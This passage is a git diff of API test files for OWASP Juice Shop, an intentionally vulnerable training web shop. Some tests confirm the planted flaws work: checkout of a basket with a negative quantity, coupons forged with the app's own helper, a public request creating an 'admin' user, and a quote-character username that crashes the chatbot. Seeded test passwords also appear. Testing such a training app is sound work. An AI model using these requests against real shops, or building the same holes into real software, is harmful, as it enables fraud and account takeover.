'content-type': 'application/json' } const jsonHeader = { 'content-type': 'application/json' } - -const validCoupon = insecurity.generateCoupon(15) -const outdatedCoupon = insecurity.generateCoupon(20, new Date(2001, 0, 1)) -const forgedCoupon = insecurity.generateCoupon(99) +let authHeader: { Authorization: string, 'content-type': string } + +const validCoupon = security.generateCoupon(15) +const outdatedCoupon = security.generateCoupon(20, new Date(2001, 0, 1)) +const forgedCoupon = security.generateCoupon(99) + +beforeAll(() => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@juice-sh.op', + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json }) => { + authHeader = { Authorization: 'Bearer ' + json.authentication.token, 'content-type': 'application/json' } + }) +}) describe('/rest/basket/:id', () => { it('GET existing basket by id is not allowed via public API', () => { @@ -77,13 +96,13 @@ describe('/rest/basket/:id', () => { return frisby.post(REST_URL + '/user/login', { headers: jsonHeader, body: { - email: 'bjoern.kimminich@googlemail.com', - password: 'bW9jLmxpYW1lbGdvb2dAaGNpbmltbWlrLm5yZW9qYg==' + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' } }) .expect('status', 200) .then(({ json }) => { - return frisby.get(REST_URL + '/basket/2', { headers: { 'Authorization': 'Bearer ' + json.authentication.token } }) + return frisby.get(REST_URL + '/basket/2', { headers: { Authorization: 'Bearer ' + json.authentication.token } }) .expect('status', 200) .expect('header', 'content-type', /application\/json/) .expect('json', 'data', { id: 2 }) @@ -97,11 +116,11 @@ describe('/rest/basket/:id/checkout', () => { .expect('status', 401) }) - it('POST placing an order for an existing basket returns path to an order confirmation PDF', () => { + it('POST placing an order for an existing basket returns orderId', () => { return frisby.post(REST_URL + '/basket/1/checkout', { headers: authHeader }) .expect('status', 200) .then(({ json }) => { - expect(json.orderConfirmation).toMatch(/\/ftp\/order_.*\.pdf/) + expect(json.orderConfirmation).toBeDefined() }) }) @@ -114,14 +133,14 @@ describe('/rest/basket/:id/checkout', () => { it('POST placing an order for a basket with a negative total cost is possible', () => { return frisby.post(API_URL + '/BasketItems', { headers: authHeader, - body: { BasketId: 3, ProductId: 10, quantity: -100 } + body: { BasketId: 2, ProductId: 10, quantity: -100 } }) .expect('status', 200) .then(() => { return frisby.post(REST_URL + '/basket/3/checkout', { headers: authHeader }) .expect('status', 200) .then(({ json }) => { - expect(json.orderConfirmation).toMatch(/\/ftp\/order_.*\.pdf/) + expect(json.orderConfirmation).toBeDefined() }) }) }) @@ -135,7 +154,7 @@ describe('/rest/basket/:id/checkout', () => { return frisby.post(REST_URL + '/basket/2/checkout', { headers: authHeader }) .expect('status', 200) .then(({ json }) => { - expect(json.orderConfirmation).toMatch(/\/ftp\/order_.*\.pdf/) + expect(json.orderConfirmation).toBeDefined() }) }) }) diff --git a/test/api/basketItemApiSpec.js b/test/api/basketItemApiSpec.js deleted file mode 100644 index 8f27434ff9f..00000000000 --- a/test/api/basketItemApiSpec.js +++ /dev/null @@ -1,112 +0,0 @@ -const frisby = require('frisby') -const insecurity = require('../../lib/insecurity') - -const API_URL = 'http://localhost:3000/api' - -const authHeader = { 'Authorization': 'Bearer ' + insecurity.authorize(), 'content-type': 'application/json' } - -describe('/api/BasketItems', () => { - it('GET all basket items is forbidden via public API', () => { - return frisby.get(API_URL + '/BasketItems') - .expect('status', 401) - }) - - it('POST new basket item is forbidden via public API', () => { - return frisby.post(API_URL + '/BasketItems', { - BasketId: 1, - ProductId: 1, - quantity: 1 - }) - .expect('status', 401) - }) - - it('GET all basket items', () => { - return frisby.get(API_URL + '/BasketItems', { headers: authHeader }) - .expect('status', 200) - }) - - it('POST new basket item', () => { - return frisby.post(API_URL + '/BasketItems', { - headers: authHeader, - body: { - BasketId: 2, - ProductId: 2, - quantity: 1 - } - }) - .expect('status', 200) - }) -}) - -describe('/api/BasketItems/:id', () => { - it('GET basket item by id is forbidden via public API', () => { - return frisby.get(API_URL + '/BasketItems/1') - .expect('status', 401) - }) - - it('PUT update basket item is forbidden via public API', () => { - return frisby.put(API_URL + '/BasketItems/1', { - quantity: 2 - }, { json: true }) - .expect('status', 401) - }) - - it('DELETE basket item is forbidden via public API', () => { - return frisby.del(API_URL + '/BasketItems/1') - .expect('status', 401) - }) - - it('GET newly created basket item by id', () => { - return frisby.post(API_URL + '/BasketItems', { - headers: authHeader, - body: { - BasketId: 3, - ProductId: 2, - quantity: 3 - } - }) - .expect('status', 200) - .then(({ json }) => { - return frisby.get(API_URL + '/BasketItems/' + json.data.id, { headers: authHeader }) - .expect('status', 200) - }) - }) - - it('PUT update newly created basket item', () => { - return frisby.post(API_URL + '/BasketItems', { - headers: authHeader, - body: { - BasketId: 3, - ProductId: 3, - quantity: 4 - } - }) - .expect('status', 200) - .then(({ json }) => { - return frisby.put(API_URL + '/BasketItems/' + json.data.id, { - headers: authHeader, - body: { - quantity: 20 - } - }) - .expect('status', 200) - .expect('json', 'data', { quantity: 20 }) - }) - }) - - it('DELETE newly created basket item', () => { - return frisby.post(API_URL + '/BasketItems', { - headers: authHeader, - body: { - BasketId: 3, - ProductId: 4, - quantity: 5 - } - }) - .expect('status', 200) - .then(({ json }) => { - return frisby.del(API_URL + '/BasketItems/' + json.data.id, { headers: authHeader }) - .expect('status', 200) - }) - }) -}) diff --git a/test/api/basketItemApiSpec.ts b/test/api/basketItemApiSpec.ts new file mode 100644 index 00000000000..41e5e5b2e73 --- /dev/null +++ b/test/api/basketItemApiSpec.ts @@ -0,0 +1,268 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +import config = require('config') + +const API_URL = 'http://localhost:3000/api' +const REST_URL = 'http://localhost:3000/rest' + +const jsonHeader = { 'content-type': 'application/json' } +let authHeader: { Authorization: string, 'content-type': string } + +beforeAll(() => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@' + config.get('application.domain'), + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json }) => { + authHeader = { Authorization: 'Bearer ' + json.authentication.token, 'content-type': 'application/json' } + }) +}) + +describe('/api/BasketItems', () => { + it('GET all basket items is forbidden via public API', () => { + return frisby.get(API_URL + '/BasketItems') + .expect('status', 401) + }) + + it('POST new basket item is forbidden via public API', () => { + return frisby.post(API_URL + '/BasketItems', { + BasketId: 2, + ProductId: 1, + quantity: 1 + }) + .expect('status', 401) + }) + + it('GET all basket items', () => { + return frisby.get(API_URL + '/BasketItems', { headers: authHeader }) + .expect('status', 200) + }) + + it('POST new basket item', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 2, + quantity: 1 + } + }) + .expect('status', 200) + }) + + it('POST new basket item with more than available quantity is forbidden', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 2, + quantity: 101 + } + }) + .expect('status', 400) + }) + + it('POST new basket item with more than allowed quantity is forbidden', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 1, + quantity: 6 + } + }) + .expect('status', 400) + .expect('json', 'error', 'You can order only up to 5 items of this product.') + }) +}) + +describe('/api/BasketItems/:id', () => { + it('GET basket item by id is forbidden via public API', () => { + return frisby.get(API_URL + '/BasketItems/1') + .expect('status', 401) + }) + + it('PUT update basket item is forbidden via public API', () => { + return frisby.put(API_URL + '/BasketItems/1', { + quantity: 2 + }, { json: true }) + .expect('status', 401) + }) + + it('DELETE basket item is forbidden via public API', () => { + return frisby.del(API_URL + '/BasketItems/1') + .expect('status', 401) + }) + + it('GET newly created basket item by id', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 6, + quantity: 3 + } + }) + .expect('status', 200) + .then(({ json }) => { + return frisby.get(API_URL + '/BasketItems/' + json.data.id, { headers: authHeader }) + .expect('status', 200) + }) + }) + + it('PUT update newly created basket item', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 3, + quantity: 3 + } + }) + .expect('status', 200) + .then(({ json }) => { + return frisby.put(API_URL + '/BasketItems/' + json.data.id, { + headers: authHeader, + body: { + quantity: 20 + } + }) + .expect('status', 200) + .expect('json', 'data', { quantity: 20 }) + }) + }) + + it('PUT update basket ID of basket item is forbidden', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 8, + quantity: 8 + } + }) + .expect('status', 200) + .then(({ json }) => { + return frisby.put(API_URL + '/BasketItems/' + json.data.id, { + headers: authHeader, + body: { + BasketId: 42 + } + }) + .expect('status', 400) + .expect('json', { message: 'null: `BasketId` cannot be updated due `noUpdate` constraint', errors: [{ field: 'BasketId', message: '`BasketId` cannot be updated due `noUpdate` constraint' }] }) + }) + }) + + it('PUT update basket ID of basket item without basket ID', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + ProductId: 8, + quantity: 8 + } + }) + .expect('status', 200) + .then(({ json }) => { + expect(json.data.BasketId).toBeUndefined() + return frisby.put(API_URL + '/BasketItems/' + json.data.id, { + headers: authHeader, + body: { + BasketId: 3 + } + }) + .expect('status', 200) + .expect('json', 'data', { BasketId: 3 }) + }) + }) + + it('PUT update product ID of basket item is forbidden', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 9, + quantity: 9 + } + }) + .expect('status', 200) + .then(({ json }) => { + return frisby.put(API_URL + '/BasketItems/' + json.data.id, { + headers: authHeader, + body: { + ProductId: 42 + } + }) + .expect('status', 400) + .expect('json', + { message: 'null: `ProductId` cannot be updated due `noUpdate` constraint', errors: [{ field: 'ProductId', message: '`ProductId` cannot be updated due `noUpdate` constraint' }] }) + }) + }) + + it('PUT update newly created basket item with more than available quantity is forbidden', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 12, + quantity: 12 + } + }) + .expect('status', 200) + .then(({ json }) => { + return frisby.put(API_URL + '/BasketItems/' + json.data.id, { + headers: authHeader, + body: { + quantity: 100 + } + }) + .expect('status', 400) + }) + }) + + it('PUT update basket item with more than allowed quantity is forbidden', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 1, + quantity: 1 + } + }) + .expect('status', 200) + .then(({ json }) => { + return frisby.put(API_URL + '/BasketItems/' + json.data.id, { + headers: authHeader, + body: { + quantity: 6 + } + }) + .expect('status', 400) + .expect('json', 'error', 'You can order only up to 5 items of this product.') + }) + }) + + it('DELETE newly created basket item', () => { + return frisby.post(API_URL + '/BasketItems', { + headers: authHeader, + body: { + BasketId: 2, + ProductId: 10, + quantity: 10 + } + }) + .expect('status', 200) + .then(({ json }) => { + return frisby.del(API_URL + '/BasketItems/' + json.data.id, { headers: authHeader }) + .expect('status', 200) + }) + }) +}) diff --git a/test/api/challengeApiSpec.js b/test/api/challengeApiSpec.ts similarity index 60% rename from test/api/challengeApiSpec.js rename to test/api/challengeApiSpec.ts index dd9a7dc924e..834febef73e 100644 --- a/test/api/challengeApiSpec.js +++ b/test/api/challengeApiSpec.ts @@ -1,11 +1,16 @@ -const frisby = require('frisby') +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') const Joi = frisby.Joi -const insecurity = require('../../lib/insecurity') +const security = require('../../lib/insecurity') const API_URL = 'http://localhost:3000/api' const REST_URL = 'http://localhost:3000/rest' -const authHeader = { 'Authorization': 'Bearer ' + insecurity.authorize(), 'content-type': 'application/json' } +const authHeader = { Authorization: 'Bearer ' + security.authorize(), 'content-type': 'application/json' } describe('/api/Challenges', () => { it('GET all challenges', () => { @@ -81,3 +86,37 @@ describe('/rest/continue-code', () => { .expect('status', 200) }) }) + +describe('/rest/continue-code-findIt', () => { + it('GET can retrieve continue code for currently solved challenges', () => { + return frisby.get(REST_URL + '/continue-code-findIt') + .expect('status', 200) + }) + + it('PUT invalid continue code is rejected', () => { + return frisby.put(REST_URL + '/continue-code-findIt/apply/ThisIsDefinitelyNotAValidContinueCode') + .expect('status', 404) + }) + + it('PUT continue code for more than one challenge is accepted', () => { // using [15, 69] here which both have a Coding Challenge + return frisby.put(REST_URL + '/continue-code-findIt/apply/Xg9oK0VdbW5g1KX9G7JYnqLpz3rAPBh6p4eRlkDM6EaBON2QoPmxjyvwMrP6') + .expect('status', 200) + }) +}) + +describe('/rest/continue-code-fixIt', () => { + it('GET can retrieve continue code for currently solved challenges', () => { + return frisby.get(REST_URL + '/continue-code-fixIt') + .expect('status', 200) + }) + + it('PUT invalid continue code is rejected', () => { + return frisby.put(REST_URL + '/continue-code-fixIt/apply/ThisIsDefinitelyNotAValidContinueCode') + .expect('status', 404) + }) + + it('PUT continue code for more than one challenge is accepted', () => { // using [15, 69] here which both have a Coding Challenge + return frisby.put(REST_URL + '/continue-code-fixIt/apply/y28BEPE2k3yRrdz5p6DGqJONnj41n5UEWawYWgBMoVmL79bKZ8Qve0Xl5QLW') + .expect('status', 200) + }) +}) diff --git a/test/api/chatBotSpec.ts b/test/api/chatBotSpec.ts new file mode 100644 index 00000000000..63d47d0e746 --- /dev/null +++ b/test/api/chatBotSpec.ts @@ -0,0 +1,309 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +import config = require('config') +const { initialize, bot } = require('../../routes/chatbot') +const fs = require('fs') +const utils = require('../../lib/utils') + +const URL = 'http://localhost:3000' +const REST_URL = `${URL}/rest/` +const API_URL = `${URL}/api/` +let trainingData: { data: any[] } + +async function login ({ email, password }: { email: string, password: string }) { + // @ts-expect-error + const loginRes = await frisby + .post(REST_URL + '/user/login', { + email, + password + }).catch((res: any) => { + if (res.json?.type && res.json.status === 'totp_token_required') { + return res + } + throw new Error(`Failed to login '${email}'`) + }) + + return loginRes.json.authentication +} + +describe('/chatbot', () => { + beforeAll(async () => { + await initialize() + trainingData = JSON.parse(fs.readFileSync(`data/chatbot/${utils.extractFilename(config.get('application.chatBot.trainingData'))}`, { encoding: 'utf8' })) + }) + + describe('/status', () => { + it('GET bot training state', () => { + return frisby.get(REST_URL + 'chatbot/status') + .expect('status', 200) + .expect('json', 'status', true) + }) + + it('GET bot state for anonymous users contains log in request', () => { + return frisby.get(REST_URL + 'chatbot/status') + .expect('status', 200) + .expect('json', 'body', /Sign in to talk/) + }) + + it('GET bot state for authenticated users contains request for username', async () => { + const { token } = await login({ + email: `J12934@${config.get('application.domain')}`, + password: '0Y8rMnww$*9VFYE§59-!Fg1L6t&6lB' + }) + + await frisby.setup({ + request: { + headers: { + Authorization: `Bearer ${token}`, + 'Content-Type': 'application/json' + } + } + }, true).get(REST_URL + 'chatbot/status') + .expect('status', 200) + .expect('json', 'body', /What shall I call you?/) + .promise() + }) + }) + + describe('/respond', () => { + it('Asks for username if not defined', async () => { + const { token } = await login({ + email: `J12934@${config.get('application.domain')}`, + password: '0Y8rMnww$*9VFYE§59-!Fg1L6t&6lB' + }) + + const testCommand = trainingData.data[0].utterances[0] + + await frisby.setup({ + request: { + headers: { + Authorization: `Bearer ${token}`, + 'Content-Type': 'application/json' + } + } + }, true) + .post(REST_URL + 'chatbot/respond', { + body: { + action: 'query', + query: testCommand + } + }) + .expect('status', 200) + .expect('json', 'action', 'namequery') + .expect('json', 'body', 'I\'m sorry I didn\'t get your name. What shall I call you?') + .promise() + }) + + it('Returns greeting if username is defined', async () => { + const { token } = await login({ + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + }) + + bot.addUser('1337', 'bkimminich') + const testCommand = trainingData.data[0].utterances[0] + + await frisby.setup({ + request: { + headers: { + Authorization: `Bearer ${token}`, + 'Content-Type': 'application/json' + } + } + }, true) + .post(REST_URL + 'chatbot/respond', { + body: { + action: 'query', + query: testCommand + } + }) + .expect('status', 200) + .expect('json', 'action', 'response') + .expect('json', 'body', bot.greet('1337')) + .promise() + }) + + it('Returns proper response for registered user', async () => { + const { token } = await login({ + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + }) + bot.addUser('12345', 'bkimminich') + const testCommand = trainingData.data[0].utterances[0] + await frisby.setup({ + request: { + headers: { + Authorization: `Bearer ${token}`, + 'Content-Type': 'application/json' + } + } + }, true) + .post(REST_URL + 'chatbot/respond', { + body: { + action: 'query', + query: testCommand + } + }) + .post(REST_URL + 'chatbot/respond', { + body: { + action: 'query', + query: testCommand + } + }) + .expect('status', 200) + .promise() + .then(({ json }) => { + // @ts-expect-error + expect(trainingData.data[0].answers).toContainEqual(json) + }) + }) + + it('Responds with product price when asked question with product name', async () => { + const { token } = await login({ + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + }) + const { json } = await frisby.get(API_URL + '/Products/1') + .expect('status', 200) + .promise() + + await frisby.setup({ + request: { + headers: { + Authorization: `Bearer ${token}`, + 'Content-Type': 'application/json' + } + } + }, true) + .post(REST_URL + 'chatbot/respond', { + body: { + action: 'query', + query: 'How much is ' + json.data.name + '?' + } + }) + .expect('status', 200) + .expect('json', 'action', 'response') + .promise() + .then(({ body = json.body }) => { + expect(body).toContain(`${json.data.name} costs ${json.data.price}¤`) + }) + }) + + it('Greets back registered user after being told username', async () => { + const { token } = await login({ + email: `stan@${config.get('application.domain')}`, + password: 'ship coffin krypt cross estate supply insurance asbestos souvenir' + }) + await frisby.setup({ + request: { + headers: { + Authorization: `Bearer ${token}`, + 'Content-Type': 'application/json' + } + } + }, true) + .post(REST_URL + 'chatbot/respond', { + body: { + action: 'setname', + query: 'NotGuybrushThreepwood' + } + }) + .expect('status', 200) + .expect('json', 'action', 'response') + .expect('json', 'body', /NotGuybrushThreepwood/) + .promise() + }) + + it('POST returns error for unauthenticated user', () => { + const testCommand = trainingData.data[0].utterances[0] + return frisby.setup({ + request: { + headers: { + Authorization: 'Bearer faketoken', + 'Content-Type': 'application/json' + } + } + }, true) + .post(REST_URL + 'chatbot/respond', { + body: { + query: testCommand + } + }) + .expect('status', 401) + .expect('json', 'error', 'Unauthenticated user') + }) + + it('Returns proper response for custom callbacks', async () => { + const functionTest = trainingData.data.filter(data => data.intent === 'queries.functionTest') + const { token } = await login({ + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + }) + const testCommand = functionTest[0].utterances[0] + const testResponse = '3be2e438b7f3d04c89d7749f727bb3bd' + await frisby.setup({ + request: { + headers: { + Authorization: `Bearer ${token}`, + 'Content-Type': 'application/json' + } + } + }, true) + .post(REST_URL + 'chatbot/respond', { + body: { + action: 'query', + query: testCommand + } + }) + .post(REST_URL + 'chatbot/respond', { + body: { + action: 'query', + query: testCommand + } + }) + .expect('status', 200) + .expect('json', 'action', 'response') + .expect('json', 'body', testResponse) + .promise() + }) + + it('Returns a 500 when the user name is set to crash request', async () => { + await frisby.post(`${API_URL}/Users`, { + headers: { + 'Content-Type': 'application/json' + }, + body: { + email: `chatbot-testuser@${config.get('application.domain')}`, + password: 'testtesttest', + username: '"', + role: 'admin' + } + }).promise() + + const { token } = await login({ + email: `chatbot-testuser@${config.get('application.domain')}`, + password: 'testtesttest' + }) + + const functionTest = trainingData.data.filter(data => data.intent === 'queries.functionTest') + const testCommand = functionTest[0].utterances[0] + await frisby.post(REST_URL + 'chatbot/respond', { + headers: { + Authorization: `Bearer ${token}`, + 'Content-Type': 'application/json' + }, + body: { + action: 'query', + query: testCommand + } + }) + .inspectResponse() + .expect('status', 500) + .promise() + }) + }) +}) diff --git a/test/api/complaintApiSpec.js b/test/api/complaintApiSpec.ts similarity index 82% rename from test/api/complaintApiSpec.js rename to test/api/complaintApiSpec.ts index aee9194c961..2accabc1668 100644 --- a/test/api/complaintApiSpec.js +++ b/test/api/complaintApiSpec.ts @@ -1,10 +1,15 @@ -const frisby = require('frisby') +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') const Joi = frisby.Joi -const insecurity = require('../../lib/insecurity') +const security = require('../../lib/insecurity') const API_URL = 'http://localhost:3000/api' -const authHeader = { 'Authorization': 'Bearer ' + insecurity.authorize(), 'content-type': 'application/json' } +const authHeader = { Authorization: 'Bearer ' + security.authorize(), 'content-type': 'application/json' } describe('/api/Complaints', () => { it('POST new complaint', () => { diff --git a/test/api/countryMapppingSpec.ts b/test/api/countryMapppingSpec.ts new file mode 100644 index 00000000000..6856f60b757 --- /dev/null +++ b/test/api/countryMapppingSpec.ts @@ -0,0 +1,15 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') + +const REST_URL = 'http://localhost:3000/rest' + +describe('/rest/country-mapping', () => { + it('GET no country mapping present in default configuration', () => { + return frisby.get(REST_URL + '/country-mapping') + .expect('status', 500) + }) +}) diff --git a/test/api/dataExportApiSpec.ts b/test/api/dataExportApiSpec.ts new file mode 100644 index 00000000000..c05a43f964e --- /dev/null +++ b/test/api/dataExportApiSpec.ts @@ -0,0 +1,373 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +import config = require('config') +const path = require('path') +const fs = require('fs') + +const jsonHeader = { 'content-type': 'application/json' } +const REST_URL = 'http://localhost:3000/rest' + +describe('/rest/user/data-export', () => { + it('Export data without use of CAPTCHA', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + format: '1' + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('json', 'confirmation', 'Your data export will open in a new Browser window.') + .then(({ json }) => { + const parsedData = JSON.parse(json.userData) + expect(parsedData.username).toBe('bkimminich') + expect(parsedData.email).toBe('bjoern.kimminich@gmail.com') + }) + }) + }) + + it('Export data when CAPTCHA requested need right answer', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(REST_URL + '/image-captcha', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(() => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + answer: 'AAAAAA', + format: 1 + } + }) + .expect('status', 401) + .expect('bodyContains', 'Wrong answer to CAPTCHA. Please try again.') + }) + }) + }) + + it('Export data using right answer to CAPTCHA', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(REST_URL + '/image-captcha', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(({ json: captchaAnswer }) => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + answer: captchaAnswer.answer, + format: 1 + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('json', 'confirmation', 'Your data export will open in a new Browser window.') + .then(({ json }) => { + const parsedData = JSON.parse(json.userData) + expect(parsedData.username).toBe('bkimminich') + expect(parsedData.email).toBe('bjoern.kimminich@gmail.com') + }) + }) + }) + }) + + it('Export data including orders without use of CAPTCHA', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'amy@' + config.get('application.domain'), + password: 'K1f.....................' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/basket/4/checkout', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .then(() => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + format: '1' + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('json', 'confirmation', 'Your data export will open in a new Browser window.') + .then(({ json }) => { + const parsedData = JSON.parse(json.userData) + expect(parsedData.username).toBe('') + expect(parsedData.email).toBe('amy@' + config.get('application.domain')) + expect(parsedData.orders[0].totalPrice).toBe(9.98) + expect(parsedData.orders[0].bonus).toBe(0) + expect(parsedData.orders[0].products[0].quantity).toBe(2) + expect(parsedData.orders[0].products[0].name).toBe('Raspberry Juice (1000ml)') + expect(parsedData.orders[0].products[0].price).toBe(4.99) + expect(parsedData.orders[0].products[0].total).toBe(9.98) + expect(parsedData.orders[0].products[0].bonus).toBe(0) + }) + }) + }) + }) + + it('Export data including reviews without use of CAPTCHA', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@' + config.get('application.domain'), + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + format: '1' + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('json', 'confirmation', 'Your data export will open in a new Browser window.') + .then(({ json }) => { + const parsedData = JSON.parse(json.userData) + expect(parsedData.username).toBe('') + expect(parsedData.email).toBe('jim@' + config.get('application.domain')) + expect(parsedData.reviews[0].message).toBe('Looks so much better on my uniform than the boring Starfleet symbol.') + expect(parsedData.reviews[0].author).toBe('jim@' + config.get('application.domain')) + expect(parsedData.reviews[0].productId).toBe(20) + expect(parsedData.reviews[0].likesCount).toBe(0) + expect(parsedData.reviews[0].likedBy[0]).toBe(undefined) + expect(parsedData.reviews[1].message).toBe('Fresh out of a replicator.') + expect(parsedData.reviews[1].author).toBe('jim@' + config.get('application.domain')) + expect(parsedData.reviews[1].productId).toBe(22) + expect(parsedData.reviews[1].likesCount).toBe(0) + expect(parsedData.reviews[1].likedBy[0]).toBe(undefined) + }) + }) + }) + + it('Export data including memories without use of CAPTCHA', () => { + const file = path.resolve(__dirname, '../files/validProfileImage.jpg') + const form = frisby.formData() + form.append('image', fs.createReadStream(file), 'Valid Image') + form.append('caption', 'Valid Image') + + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@' + config.get('application.domain'), + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/memories', { + headers: { + Authorization: 'Bearer ' + jsonLogin.authentication.token, + // @ts-expect-error + 'Content-Type': form.getHeaders()['content-type'] + }, + body: form + }) + .expect('status', 200) + .then(() => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + format: '1' + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('json', 'confirmation', 'Your data export will open in a new Browser window.') + .then(({ json }) => { + const parsedData = JSON.parse(json.userData) + expect(parsedData.username).toBe('') + expect(parsedData.email).toBe('jim@' + config.get('application.domain')) + expect(parsedData.memories[0].caption).toBe('Valid Image') + expect(parsedData.memories[0].imageUrl).toContain('assets/public/images/uploads/valid-image') + }) + }) + }) + }) + + it('Export data including orders with use of CAPTCHA', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'amy@' + config.get('application.domain'), + password: 'K1f.....................' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/basket/4/checkout', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .then(() => { + return frisby.get(REST_URL + '/image-captcha', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(({ json: captchaAnswer }) => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + answer: captchaAnswer.answer, + format: 1 + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('json', 'confirmation', 'Your data export will open in a new Browser window.') + .then(({ json }) => { + const parsedData = JSON.parse(json.userData) + expect(parsedData.username).toBe('') + expect(parsedData.email).toBe('amy@' + config.get('application.domain')) + expect(parsedData.orders[0].totalPrice).toBe(9.98) + expect(parsedData.orders[0].bonus).toBe(0) + expect(parsedData.orders[0].products[0].quantity).toBe(2) + 